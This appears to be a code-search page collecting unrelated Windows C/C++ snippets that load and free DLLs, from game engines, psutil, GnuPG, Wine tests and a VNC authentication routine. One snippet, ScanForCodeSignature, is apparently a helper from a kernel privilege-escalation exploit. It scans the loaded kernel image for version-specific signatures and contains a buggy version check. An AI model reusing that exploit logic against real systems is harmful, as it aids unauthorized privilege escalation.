		if (!RegisterClass((LPWNDCLASS)&WndClass))
			I_FatalError ("Could not register window class");
		
		/* create window */
		char caption[100];
		mysnprintf(caption, countof(caption), ""GAMESIG" %s "X64, GetVersionString());
		Window = CreateWindowEx(
				WS_EX_APPWINDOW,
				(LPCTSTR)WinClassName,
				(LPCTSTR)caption,
				WS_OVERLAPPEDWINDOW | WS_VISIBLE | WS_CLIPCHILDREN,
				x, y, width, height,
				(HWND)   NULL,
				(HMENU)  NULL,
						hInstance,
				NULL);

		if (!Window)
			I_FatalError ("Could not open window");

		if (kernel != NULL)
		{
			typedef BOOL (WINAPI *pts)(DWORD, DWORD *);
			pts pidsid = (pts)GetProcAddress (kernel, "ProcessIdToSessionId");
			if (pidsid != 0)
			{
				if (!pidsid (GetCurrentProcessId(), &SessionID))
				{
					SessionID = 0;
				}
				hwtsapi32 = LoadLibraryA ("wtsapi32.dll");
				if (hwtsapi32 != 0)
				{
					FARPROC reg = GetProcAddress (hwtsapi32, "WTSRegisterSessionNotification");
					if (reg == 0 || !((BOOL(WINAPI *)(HWND, DWORD))reg) (Window, NOTIFY_FOR_THIS_SESSION))
					{
						FreeLibrary (hwtsapi32);
						hwtsapi32 = 0;
					}
					else
					{
						atterm (UnWTS);
					}
				}
			}
		}

		GetClientRect (Window, &cRect);

		WinWidth = cRect.right;
		WinHeight = cRect.bottom;

		CoInitialize (NULL);
		atterm (UnCOM);

		C_InitConsole (((WinWidth / 8) + 2) * 8, (WinHeight / 12) * 8, false);

		I_DetectOS ();
		D_DoomMain ();
	}
	catch (class CNoRunExit &)
	{
		I_ShutdownGraphics();
		if (FancyStdOut && !AttachedStdOut)
		{ // Outputting to a new console window: Wait for a keypress before quitting.
			DWORD bytes;
			HANDLE stdinput = GetStdHandle(STD_INPUT_HANDLE);

			ShowWindow (Window, SW_HIDE);
			WriteFile(StdOut, "Press any key to exit...", 24, &bytes, NULL);
			FlushConsoleInputBuffer(stdinput);
			SetConsoleMode(stdinput, 0);
			ReadConsole(stdinput, &bytes, 1, &bytes, NULL);
		}
		else if (StdOut == NULL)
		{
			ShowErrorPane(NULL);
		}
		exit(0);
	}
	catch (class CDoomError &error)
	{
		I_ShutdownGraphics ();
		RestoreConView ();
		if (error.GetMessage ())
		{
			ShowErrorPane (error.GetMessage());
		}
		exit (-1);
	}
}
/*
 * Given a process PID and a PSYSTEM_PROCESS_INFORMATION structure
 * fills the structure with various process information by using
 * NtQuerySystemInformation.
 * We use this as a fallback when faster functions fail with access
 * denied. This is slower because it iterates over all processes.
 * On success return 1, else 0 with Python exception already set.
 */
int
psutil_get_proc_info(DWORD pid, PSYSTEM_PROCESS_INFORMATION *retProcess,
                     PVOID *retBuffer) {
    static ULONG initialBufferSize = 0x4000;
    NTSTATUS status;
    PVOID buffer;
    ULONG bufferSize;
    PSYSTEM_PROCESS_INFORMATION process;

    // get NtQuerySystemInformation
    typedef DWORD (_stdcall * NTQSI_PROC) (int, PVOID, ULONG, PULONG);
    NTQSI_PROC NtQuerySystemInformation;
    HINSTANCE hNtDll;
    hNtDll = LoadLibrary(TEXT("ntdll.dll"));
    NtQuerySystemInformation = (NTQSI_PROC)GetProcAddress(
        hNtDll, "NtQuerySystemInformation");

    bufferSize = initialBufferSize;
    buffer = malloc(bufferSize);
    if (buffer == NULL) {
        PyErr_NoMemory();
        goto error;
    }

    while (TRUE) {
        status = NtQuerySystemInformation(SystemProcessInformation, buffer,
                                          bufferSize, &bufferSize);

        if (status == STATUS_BUFFER_TOO_SMALL ||
                status == STATUS_INFO_LENGTH_MISMATCH)
        {
            free(buffer);
            buffer = malloc(bufferSize);
            if (buffer == NULL) {
                PyErr_NoMemory();
                goto error;
            }
        }
        else {
            break;
        }
    }

    if (status != 0) {
        PyErr_Format(
            PyExc_RuntimeError, "NtQuerySystemInformation() syscall failed");
        goto error;
    }

    if (bufferSize <= 0x20000)
        initialBufferSize = bufferSize;

    process = PSUTIL_FIRST_PROCESS(buffer);
    do {
        if (process->UniqueProcessId == (HANDLE)pid) {
            *retProcess = process;
            *retBuffer = buffer;
            return 1;
        }
    } while ( (process = PSUTIL_NEXT_PROCESS(process)) );

    NoSuchProcess("");
    goto error;

error:
    FreeLibrary(hNtDll);
    if (buffer != NULL)
        free(buffer);
    return 0;
}
Example #17
0
DWORD liberateDll(void)
{    
      FreeLibrary(mydll);
      return 0;     
}
Example #18
0
void			WDynamicLibrary<T>::freeLibrary(void) {
	FreeLibrary(this->hinstLib);
}
Example #19
0
static void
slow_gatherer_windowsNT( void (*add)(const void*, size_t, int), int requester )
{
    static int is_initialized = 0;
    static NETSTATISTICSGET pNetStatisticsGet = NULL;
    static NETAPIBUFFERSIZE pNetApiBufferSize = NULL;
    static NETAPIBUFFERFREE pNetApiBufferFree = NULL;
    static int is_workstation = 1;

    static int cbPerfData = PERFORMANCE_BUFFER_SIZE;
    PERF_DATA_BLOCK *pPerfData;
    HANDLE hDevice, hNetAPI32 = NULL;
    DWORD dwSize, status;
    int nDrive;

    if ( !is_initialized ) {
	HKEY hKey;

	if ( debug_me )
	    log_debug ("rndw32#slow_gatherer_nt: init toolkit\n" );
	/* Find out whether this is an NT server or workstation if necessary */
	if (RegOpenKeyEx (HKEY_LOCAL_MACHINE,
			  "SYSTEM\\CurrentControlSet\\Control\\ProductOptions",
			  0, KEY_READ, &hKey) == ERROR_SUCCESS) {
	    BYTE szValue[32];
	    dwSize = sizeof (szValue);

	    if ( debug_me )
		log_debug ("rndw32#slow_gatherer_nt: check product options\n" );
	    status = RegQueryValueEx (hKey, "ProductType", 0, NULL,
				      szValue, &dwSize);
	    if (status == ERROR_SUCCESS && stricmp (szValue, "WinNT")) {
		/* Note: There are (at least) three cases for ProductType:
		 * WinNT = NT Workstation, ServerNT = NT Server, LanmanNT =
		 * NT Server acting as a Domain Controller */
		is_workstation = 0;
		if ( debug_me )
		    log_debug ("rndw32: this is a NT server\n");
	    }
	    RegCloseKey (hKey);
	}

	/* Initialize the NetAPI32 function pointers if necessary */
	if ( (hNetAPI32 = LoadLibrary ("NETAPI32.DLL")) ) {
	    if ( debug_me )
		log_debug ("rndw32#slow_gatherer_nt: netapi32 loaded\n" );
	    pNetStatisticsGet = (NETSTATISTICSGET) GetProcAddress (hNetAPI32,
						       "NetStatisticsGet");
	    pNetApiBufferSize = (NETAPIBUFFERSIZE) GetProcAddress (hNetAPI32,
						       "NetApiBufferSize");
	    pNetApiBufferFree = (NETAPIBUFFERFREE) GetProcAddress (hNetAPI32,
						       "NetApiBufferFree");

	    if ( !pNetStatisticsGet
		 || !pNetApiBufferSize || !pNetApiBufferFree ) {
		FreeLibrary (hNetAPI32);
		hNetAPI32 = NULL;
		g10_log_debug ("rndw32: No NETAPI found\n" );
	    }
	}

	is_initialized = 1;
    }

    /* Get network statistics.	Note: Both NT Workstation and NT Server by
     * default will be running both the workstation and server services.  The
     * heuristic below is probably useful though on the assumption that the
     * majority of the network traffic will be via the appropriate service.
     * In any case the network statistics return almost no randomness */
    {	LPBYTE lpBuffer;
	if (hNetAPI32 && !pNetStatisticsGet (NULL,
			   is_workstation ? L"LanmanWorkstation" :
			   L"LanmanServer", 0, 0, &lpBuffer) ) {
	    if ( debug_me )
		log_debug ("rndw32#slow_gatherer_nt: get netstats\n" );
	    pNetApiBufferSize (lpBuffer, &dwSize);
	    (*add) ( lpBuffer, dwSize,requester );
	    pNetApiBufferFree (lpBuffer);
	}
    }

    /* Get disk I/O statistics for all the hard drives */
    for (nDrive = 0;; nDrive++) {
	DISK_PERFORMANCE diskPerformance;
	char szDevice[50];

	/* Check whether we can access this device */
	sprintf (szDevice, "\\\\.\\PhysicalDrive%d", nDrive);
	hDevice = CreateFile (szDevice, 0, FILE_SHARE_READ | FILE_SHARE_WRITE,
			      NULL, OPEN_EXISTING, 0, NULL);
	if (hDevice == INVALID_HANDLE_VALUE)
	    break;

	/* Note: This only works if you have turned on the disk performance
	 * counters with 'diskperf -y'.  These counters are off by default */
	if (DeviceIoControl (hDevice, IOCTL_DISK_PERFORMANCE, NULL, 0,
			     &diskPerformance, sizeof (DISK_PERFORMANCE),
			     &dwSize, NULL))
	{
	    if ( debug_me )
		log_debug ("rndw32#slow_gatherer_nt: iostats drive %d\n",
								  nDrive );
	    (*add) ( &diskPerformance, dwSize, requester );
	}
	else {
	    log_info ("NOTE: you should run 'diskperf -y' "
		      "to enable the disk statistics\n");
	}
	CloseHandle (hDevice);
    }

  #if 0 /* we don't need this in GnuPG  */
    /* Wait for any async keyset driver binding to complete.  You may be
     * wondering what this call is doing here... the reason it's necessary is
     * because RegQueryValueEx() will hang indefinitely if the async driver
     * bind is in progress.  The problem occurs in the dynamic loading and
     * linking of driver DLL's, which work as follows:
     *
     * hDriver = LoadLibrary( DRIVERNAME );
     * pFunction1 = ( TYPE_FUNC1 ) GetProcAddress( hDriver, NAME_FUNC1 );
     * pFunction2 = ( TYPE_FUNC1 ) GetProcAddress( hDriver, NAME_FUNC2 );
     *
     * If RegQueryValueEx() is called while the GetProcAddress()'s are in
     * progress, it will hang indefinitely.  This is probably due to some
     * synchronisation problem in the NT kernel where the GetProcAddress()
     * calls affect something like a module reference count or function
     * reference count while RegQueryValueEx() is trying to take a snapshot
     * of the statistics, which include the reference counts.  Because of
     * this, we have to wait until any async driver bind has completed
     * before we can call RegQueryValueEx() */
    waitSemaphore (SEMAPHORE_DRIVERBIND);
  #endif

    /* Get information from the system performance counters.  This can take
     * a few seconds to do.  In some environments the call to
     * RegQueryValueEx() can produce an access violation at some random time
     * in the future, adding a short delay after the following code block
     * makes the problem go away.  This problem is extremely difficult to
     * reproduce, I haven't been able to get it to occur despite running it
     * on a number of machines.  The best explanation for the problem is that
     * on the machine where it did occur, it was caused by an external driver
     * or other program which adds its own values under the
     * HKEY_PERFORMANCE_DATA key.  The NT kernel calls the required external
     * modules to map in the data, if there's a synchronisation problem the
     * external module would write its data at an inappropriate moment,
     * causing the access violation.  A low-level memory checker indicated
     * that ExpandEnvironmentStrings() in KERNEL32.DLL, called an
     * interminable number of calls down inside RegQueryValueEx(), was
     * overwriting memory (it wrote twice the allocated size of a buffer to a
     * buffer allocated by the NT kernel).  This may be what's causing the
     * problem, but since it's in the kernel there isn't much which can be
     * done.
     *
     * In addition to these problems the code in RegQueryValueEx() which
     * estimates the amount of memory required to return the performance
     * counter information isn't very accurate, since it always returns a
     * worst-case estimate which is usually nowhere near the actual amount
     * required.  For example it may report that 128K of memory is required,
     * but only return 64K of data */
    {	pPerfData =  m_alloc (cbPerfData);
	for (;;) {
	    dwSize = cbPerfData;
	    if ( debug_me )
		log_debug ("rndw32#slow_gatherer_nt: get perf data\n" );
	    status = RegQueryValueEx (HKEY_PERFORMANCE_DATA, "Global", NULL,
				      NULL, (LPBYTE) pPerfData, &dwSize);
	    if (status == ERROR_SUCCESS) {
		if (!memcmp (pPerfData->Signature, L"PERF", 8)) {
		    (*add) ( pPerfData, dwSize, requester );
		}
		else
		    g10_log_debug ( "rndw32: no PERF signature\n");
		break;
	    }
	    else if (status == ERROR_MORE_DATA) {
		cbPerfData += PERFORMANCE_BUFFER_STEP;
		pPerfData = m_realloc (pPerfData, cbPerfData);
	    }
	    else {
		g10_log_debug ( "rndw32: get performance data problem\n");
		break;
	    }
	}
	m_free (pPerfData);
    }
    /* Although this isn't documented in the Win32 API docs, it's necessary
       to explicitly close the HKEY_PERFORMANCE_DATA key after use (it's
       implicitly opened on the first call to RegQueryValueEx()).  If this
       isn't done then any system components which provide performance data
       can't be removed or changed while the handle remains active */
    RegCloseKey (HKEY_PERFORMANCE_DATA);
}
Example #20
0
void			WDynamicLibrary<IMonster *>::freeLibrary(void) {
	FreeLibrary(this->hinstLib);
}
Example #21
0
static void testGetModuleHandleEx(void)
{
    static const WCHAR kernel32W[] = {'k','e','r','n','e','l','3','2',0};
    static const WCHAR nosuchmodW[] = {'n','o','s','u','c','h','m','o','d',0};
    BOOL ret;
    DWORD error;
    HMODULE mod, mod_kernel32;

    if (!pGetModuleHandleExA || !pGetModuleHandleExW)
    {
        win_skip( "GetModuleHandleEx not available\n" );
        return;
    }

    SetLastError( 0xdeadbeef );
    ret = pGetModuleHandleExA( 0, NULL, NULL );
    error = GetLastError();
    ok( !ret, "unexpected success\n" );
    ok( error == ERROR_INVALID_PARAMETER, "got %u\n", error );

    SetLastError( 0xdeadbeef );
    ret = pGetModuleHandleExA( 0, "kernel32", NULL );
    error = GetLastError();
    ok( !ret, "unexpected success\n" );
    ok( error == ERROR_INVALID_PARAMETER, "got %u\n", error );

    SetLastError( 0xdeadbeef );
    mod = (HMODULE)0xdeadbeef;
    ret = pGetModuleHandleExA( 0, "kernel32", &mod );
    ok( ret, "unexpected failure %u\n", GetLastError() );
    ok( mod != (HMODULE)0xdeadbeef, "got %p\n", mod );
    FreeLibrary( mod );

    SetLastError( 0xdeadbeef );
    mod = (HMODULE)0xdeadbeef;
    ret = pGetModuleHandleExA( 0, "nosuchmod", &mod );
    error = GetLastError();
    ok( !ret, "unexpected success\n" );
    ok( error == ERROR_MOD_NOT_FOUND, "got %u\n", error );
    ok( mod == NULL, "got %p\n", mod );

    SetLastError( 0xdeadbeef );
    ret = pGetModuleHandleExW( 0, NULL, NULL );
    error = GetLastError();
    ok( !ret, "unexpected success\n" );
    ok( error == ERROR_INVALID_PARAMETER, "got %u\n", error );

    SetLastError( 0xdeadbeef );
    ret = pGetModuleHandleExW( 0, kernel32W, NULL );
    error = GetLastError();
    ok( !ret, "unexpected success\n" );
    ok( error == ERROR_INVALID_PARAMETER, "got %u\n", error );

    SetLastError( 0xdeadbeef );
    mod = (HMODULE)0xdeadbeef;
    ret = pGetModuleHandleExW( 0, kernel32W, &mod );
    ok( ret, "unexpected failure %u\n", GetLastError() );
    ok( mod != (HMODULE)0xdeadbeef, "got %p\n", mod );
    FreeLibrary( mod );

    SetLastError( 0xdeadbeef );
    mod = (HMODULE)0xdeadbeef;
    ret = pGetModuleHandleExW( 0, nosuchmodW, &mod );
    error = GetLastError();
    ok( !ret, "unexpected success\n" );
    ok( error == ERROR_MOD_NOT_FOUND, "got %u\n", error );
    ok( mod == NULL, "got %p\n", mod );

    SetLastError( 0xdeadbeef );
    ret = pGetModuleHandleExA( GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT, NULL, NULL );
    error = GetLastError();
    ok( !ret, "unexpected success\n" );
    ok( error == ERROR_INVALID_PARAMETER, "got %u\n", error );

    SetLastError( 0xdeadbeef );
    ret = pGetModuleHandleExA( GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT, "kernel32", NULL );
    error = GetLastError();
    ok( !ret, "unexpected success\n" );
    ok( error == ERROR_INVALID_PARAMETER, "got %u\n", error );

    SetLastError( 0xdeadbeef );
    mod = (HMODULE)0xdeadbeef;
    ret = pGetModuleHandleExA( GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT, "kernel32", &mod );
    ok( ret, "unexpected failure %u\n", GetLastError() );
    ok( mod != (HMODULE)0xdeadbeef, "got %p\n", mod );

    SetLastError( 0xdeadbeef );
    mod = (HMODULE)0xdeadbeef;
    ret = pGetModuleHandleExA( GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT, "nosuchmod", &mod );
    error = GetLastError();
    ok( !ret, "unexpected success\n" );
    ok( error == ERROR_MOD_NOT_FOUND, "got %u\n", error );
    ok( mod == NULL, "got %p\n", mod );

    SetLastError( 0xdeadbeef );
    ret = pGetModuleHandleExW( GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT, NULL, NULL );
    error = GetLastError();
    ok( !ret, "unexpected success\n" );
    ok( error == ERROR_INVALID_PARAMETER, "got %u\n", error );

    SetLastError( 0xdeadbeef );
    ret = pGetModuleHandleExW( GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT, kernel32W, NULL );
    error = GetLastError();
    ok( !ret, "unexpected success\n" );
    ok( error == ERROR_INVALID_PARAMETER, "got %u\n", error );

    SetLastError( 0xdeadbeef );
    mod = (HMODULE)0xdeadbeef;
    ret = pGetModuleHandleExW( GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT, kernel32W, &mod );
    ok( ret, "unexpected failure %u\n", GetLastError() );
    ok( mod != (HMODULE)0xdeadbeef, "got %p\n", mod );

    SetLastError( 0xdeadbeef );
    mod = (HMODULE)0xdeadbeef;
    ret = pGetModuleHandleExW( GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT, nosuchmodW, &mod );
    error = GetLastError();
    ok( !ret, "unexpected success\n" );
    ok( error == ERROR_MOD_NOT_FOUND, "got %u\n", error );
    ok( mod == NULL, "got %p\n", mod );

    mod_kernel32 = LoadLibraryA( "kernel32" );

    SetLastError( 0xdeadbeef );
    ret = pGetModuleHandleExA( GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, NULL, NULL );
    error = GetLastError();
    ok( !ret, "unexpected success\n" );
    ok( error == ERROR_INVALID_PARAMETER, "got %u\n", error );

    SetLastError( 0xdeadbeef );
    ret = pGetModuleHandleExA( GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, (LPCSTR)mod_kernel32, NULL );
    error = GetLastError();
    ok( !ret, "unexpected success\n" );
    ok( error == ERROR_INVALID_PARAMETER, "got %u\n", error );

    SetLastError( 0xdeadbeef );
    mod = (HMODULE)0xdeadbeef;
    ret = pGetModuleHandleExA( GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, (LPCSTR)mod_kernel32, &mod );
    ok( ret, "unexpected failure %u\n", GetLastError() );
    ok( mod == mod_kernel32, "got %p\n", mod );
    FreeLibrary( mod );

    SetLastError( 0xdeadbeef );
    mod = (HMODULE)0xdeadbeef;
    ret = pGetModuleHandleExA( GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, (LPCSTR)0xbeefdead, &mod );
    error = GetLastError();
    ok( !ret, "unexpected success\n" );
    ok( error == ERROR_MOD_NOT_FOUND, "got %u\n", error );
    ok( mod == NULL, "got %p\n", mod );

    SetLastError( 0xdeadbeef );
    ret = pGetModuleHandleExW( GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, NULL, NULL );
    error = GetLastError();
    ok( !ret, "unexpected success\n" );
    ok( error == ERROR_INVALID_PARAMETER, "got %u\n", error );

    SetLastError( 0xdeadbeef );
    ret = pGetModuleHandleExW( GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, (LPCWSTR)mod_kernel32, NULL );
    error = GetLastError();
    ok( !ret, "unexpected success\n" );
    ok( error == ERROR_INVALID_PARAMETER, "got %u\n", error );

    SetLastError( 0xdeadbeef );
    mod = (HMODULE)0xdeadbeef;
    ret = pGetModuleHandleExW( GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, (LPCWSTR)mod_kernel32, &mod );
    ok( ret, "unexpected failure %u\n", GetLastError() );
    ok( mod == mod_kernel32, "got %p\n", mod );
    FreeLibrary( mod );

    SetLastError( 0xdeadbeef );
    mod = (HMODULE)0xdeadbeef;
    ret = pGetModuleHandleExW( GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, (LPCWSTR)0xbeefdead, &mod );
    error = GetLastError();
    ok( !ret, "unexpected success\n" );
    ok( error == ERROR_MOD_NOT_FOUND, "got %u\n", error );
    ok( mod == NULL, "got %p\n", mod );

    FreeLibrary( mod_kernel32 );
}
Example #22
0
void I_InitGamepad(void)
{
    gamepadfunc = I_PollDirectInputGamepad;
    gamepadthumbsfunc = (gp_swapthumbsticks ? I_PollThumbs_DirectInput_LeftHanded :
        I_PollThumbs_DirectInput_RightHanded);

    if (SDL_InitSubSystem(SDL_INIT_JOYSTICK) < 0)
        return;
    else
    {
        int     i;
        int     numgamepads = SDL_NumJoysticks();

        for (i = 0; i < numgamepads; ++i)
        {
            gamepad = SDL_JoystickOpen(i);
            if (gamepad)
                break;
        }

        if (!gamepad)
        {
            SDL_QuitSubSystem(SDL_INIT_JOYSTICK);
            return;
        }
        else
        {
#if defined(WIN32)
            char        *XInputDLL = malloc(16);
            static int  initcount;

            if ((pXInputDLL = LoadLibrary("XInput1_4.dll")))
                M_StringCopy(XInputDLL, "XINPUT1_4.DLL", 16);
            else if ((pXInputDLL = LoadLibrary("XInput9_1_0.dll")))
                M_StringCopy(XInputDLL, "XINPUT9_1_0.DLL", 16);
            else if ((pXInputDLL = LoadLibrary("XInput1_3.dll")))
                M_StringCopy(XInputDLL, "XINPUT1_3.DLL", 16);

            ++initcount;

            if (pXInputDLL)
            {
                pXInputGetState = (XINPUTGETSTATE)GetProcAddress(pXInputDLL, "XInputGetState");
                pXInputSetState = (XINPUTSETSTATE)GetProcAddress(pXInputDLL, "XInputSetState");

                if (pXInputGetState && pXInputSetState)
                {
                    XINPUT_STATE        state;

                    ZeroMemory(&state, sizeof(XINPUT_STATE));

                    if (pXInputGetState(0, &state) == ERROR_SUCCESS)
                    {
                        gamepadfunc = I_PollXInputGamepad;
                        gamepadthumbsfunc = (gp_swapthumbsticks ? I_PollThumbs_XInput_LeftHanded :
                            I_PollThumbs_XInput_RightHanded);
                        if (initcount == 1)
                            C_Output("XInput gamepad detected. Using %s.", XInputDLL);
                    }
                }
                else
                    FreeLibrary(pXInputDLL);
            }
            else if (initcount == 1)
                C_Output("DirectInput gamepad \"%s\" detected.", SDL_JoystickName(gamepad));

            free(XInputDLL);
#else
            C_Output("DirectInput gamepad \"%s\" detected.", SDL_JoystickName(gamepad));
#endif

            SDL_JoystickEventState(SDL_ENABLE);
        }
    }
}
ChangeBrightness::~ChangeBrightness()
{
    FreeLibrary();
}
Example #24
0
int closeSharedLib (LIB_HANDLE handle)
{
    BOOL ret = FreeLibrary ((HMODULE) handle); 
    return !ret;
}
Example #25
0
// Enums all icons to find the highest ID, then finds the IDs of the requested icon
bool Icon_list(const char *exename, WORD wIconId)
{
	HINSTANCE	hExe;
	int			cnt = 0;

    hExe = LoadLibraryEx(exename, NULL, LOAD_LIBRARY_AS_DATAFILE);
    if (hExe == 0)
		return false;

	// Get the highest icon ID in the file (g_Icon_nHighestID) 
	g_Icon_nHighestID = 0;
    if (EnumResourceNames(hExe, RT_GROUP_ICON, Icon_enum, (LPARAM)&cnt) == 0 && cnt == 0)
	{
		FreeLibrary(hExe);
		return false;							// No icons at all found
    }

#ifdef ICON_DEBUG
	char szBuffer[256];
	sprintf(szBuffer, "Highest icon ID was: %d", g_Icon_nHighestID);
	MessageBox(NULL, szBuffer, "", MB_OK);
#endif


	// Find the IDs for our _requested_ icon
	HRSRC				hRsrc = 0;
	HGLOBAL				hMem;
	IconGroupHeader		*pDirHeader;
	RsrcIconGroupEntry	*pResDir;
	int k;
	unsigned int j;

	hRsrc		= FindResource(hExe, MAKEINTRESOURCE(wIconId), RT_GROUP_ICON);
	hMem		= LoadResource(hExe, hRsrc);
	pDirHeader	= (IconGroupHeader*)LockResource(hMem);
	pResDir		= (RsrcIconGroupEntry*)(pDirHeader+1);

	// Note all the ids in our ID array
	g_Icon_NumImages = pDirHeader->wCount;
	for (k = 0; k < g_Icon_NumImages; k++)
		g_Icon_IDs[k] = pResDir[k].wRsrcId;

#ifdef ICON_DEBUG
	char szBuffer2[256];
	sprintf(szBuffer2, "Number images in requested icon: %d",g_Icon_NumImages);
	MessageBox(NULL, szBuffer2, "", MB_OK);
#endif

	// Now, we will be deleting the images for this icon, change our array so that the
	// remaining entries start at highest ID (the array will then contain the image IDs
	// of the request icon followed by "free" entries - which will help when we are writing
	// the replacement icon
	j = g_Icon_nHighestID + 1;					// Next available icon ID
	for (k=g_Icon_NumImages; k < ICON_MAX_IMAGES; k++)
		g_Icon_IDs[k] = j++;
	
#ifdef ICON_DEBUG
	char szBuffer3[256];
	for (k=0; k < ICON_MAX_IMAGES; k++)
	{
		sprintf(szBuffer3, "Icon IDs: %d",g_Icon_IDs[k]);
		MessageBox(NULL, szBuffer3, "", MB_OK);
	}
#endif

	FreeLibrary(hExe);
	return true;
}
Example #26
0
// Scan the appropriate kernel image for the correct offset
BOOL ScanForCodeSignature(PDWORD KernelBase, PDWORD OffsetFromBase)
{
    FARPROC NtQuerySystemInformation;
    HMODULE KernelHandle;
    PIMAGE_DOS_HEADER DosHeader;
    PIMAGE_NT_HEADERS PeHeader;
    PIMAGE_OPTIONAL_HEADER OptHeader;
    OSVERSIONINFO osvi = { sizeof osvi };
    PBYTE ImageBase;
    DWORD PhysicalAddressExtensions, DataSize;
    ULONG i;
    HKEY MmHandle;
    SYSTEM_MODULE_INFORMATION ModuleInfo = {0};

    // List of versions I have code signatures for.
    enum {
        MICROSOFT_WINDOWS_NT4   = 0,
        MICROSOFT_WINDOWS_2000  = 1,
        MICROSOFT_WINDOWS_XP    = 2,
        MICROSOFT_WINDOWS_2003  = 3,
        MICROSOFT_WINDOWS_VISTA = 4,
        MICROSOFT_WINDOWS_2008  = 5,
        MICROSOFT_WINDOWS_7     = 6,
    } Version = MICROSOFT_WINDOWS_7;

    // NtQuerySystemInformation can be used to find kernel base address
    NtQuerySystemInformation = GetProcAddress(GetModuleHandle("NTDLL"), "NtQuerySystemInformation");

    // Determine kernel version so that the correct code signature is used
    GetVersionEx(&osvi);

    LogMessage(L_DEBUG, "GetVersionEx() => %u.%u", osvi.dwMajorVersion, osvi.dwMinorVersion);

    if (osvi.dwMajorVersion == 4 && osvi.dwMinorVersion == 0)
        Version = MICROSOFT_WINDOWS_NT4;
    if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0)
        Version = MICROSOFT_WINDOWS_2000;
    if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1)
        Version = MICROSOFT_WINDOWS_XP;
    if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2)
        Version = MICROSOFT_WINDOWS_2003;
    if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0)
        Version = MICROSOFT_WINDOWS_VISTA;
    if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0)
        Version = MICROSOFT_WINDOWS_2008;
    if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 1)
        Version = MICROSOFT_WINDOWS_7;

    // Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
    NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof ModuleInfo, NULL);

    LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s@%p",
               ModuleInfo.Module[0].ImageName,
               ModuleInfo.Module[0].Base);

    // Load the kernel image specified
    if ((KernelHandle = LoadLibrary(strrchr(ModuleInfo.Module[0].ImageName, '\\') + 1)) == NULL) {
        LogMessage(L_ERROR, "LoadLibrary() returned failure, %#x", GetLastError());
        return FALSE;
    }

    // Parse image headers
    *KernelBase                 = (DWORD) ModuleInfo.Module[0].Base;
    ImageBase                   = (PBYTE) KernelHandle;
    DosHeader                   = (PIMAGE_DOS_HEADER)(ImageBase);
    PeHeader                    = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
    OptHeader                   = &PeHeader->OptionalHeader;

    LogMessage(L_DEBUG, "Searching for kernel %u.%u signature { %02hhx,%02hhx,%02hhx,%02hhx,%02hhx,%02hhx,%02hhx,%02hhx,%02hhx,%02hhx,%02hhx,%02hhx,%02hhx,%02hhx,%02hhx,%02hhx,... } ...",
               osvi.dwMajorVersion,
               osvi.dwMinorVersion,
               CodeSignatures[Version][0],
               CodeSignatures[Version][1],
               CodeSignatures[Version][2],
               CodeSignatures[Version][3],
               CodeSignatures[Version][4],
               CodeSignatures[Version][5],
               CodeSignatures[Version][6],
               CodeSignatures[Version][7],
               CodeSignatures[Version][8],
               CodeSignatures[Version][9],
               CodeSignatures[Version][10],
               CodeSignatures[Version][11],
               CodeSignatures[Version][12],
               CodeSignatures[Version][13],
               CodeSignatures[Version][14],
               CodeSignatures[Version][15]);

    // Scan for the appropriate signature
    for (i = OptHeader->BaseOfCode; i < OptHeader->SizeOfCode; i++) {
        if (memcmp(&ImageBase[i], CodeSignatures[5], sizeof CodeSignatures[5]) == 0) {
            LogMessage(L_INFO, "Signature found %#x bytes from kernel base", i);

            *OffsetFromBase = i;
            FreeLibrary(KernelHandle);
            return TRUE;
        }
    }

    LogMessage(L_ERROR, "Code not found, the signatures need to be updated for your kernel");

    FreeLibrary(KernelHandle);

    return FALSE;
}
/*
  This will stop the dynamic library and free it from memory
 */
int close_dynamic_library( void *handle )
{
  return( FreeLibrary( handle ) );
}
DynamicFnBase::~DynamicFnBase() {
  if (dllHandle)
    FreeLibrary(dllHandle);
}
Example #29
0
int CheckUserGroupPasswordUni2(char * userin,char *password,const char *machine)
{
	int result=0;
	BOOL NT4OS=false;
	BOOL W2KOS=false;
	char clientname[256];
	strcpy_s(clientname,256,machine);
	if (!CheckNetapi95() && !CheckNetApiNT())
	{
		return false;
	}
	OSVERSIONINFO VerInfo;
	VerInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
	if (!GetVersionEx (&VerInfo))   // If this fails, something has gone wrong
		{
		  return FALSE;
		}
	if (VerInfo.dwPlatformId == VER_PLATFORM_WIN32_NT && VerInfo.dwMajorVersion == 4)
		{
			NT4OS=true;
		}
	if (VerInfo.dwPlatformId == VER_PLATFORM_WIN32_NT && VerInfo.dwMajorVersion >= 5)
		{
			W2KOS=true;
		}
	//////////////////////////////////////////////////
	// Load reg settings
	//////////////////////////////////////////////////
	char pszgroup1[256];
	char pszgroup2[256];
	char pszgroup3[256];
	char *group1=NULL;
	char *group2=NULL;
	char *group3=NULL;
	long locdom1=1;
	long locdom2=0;
	long locdom3=0;
	group1=Readgroup1();
	group2=Readgroup2();
	group3=Readgroup3();
	locdom1=Readlocdom1(locdom1);
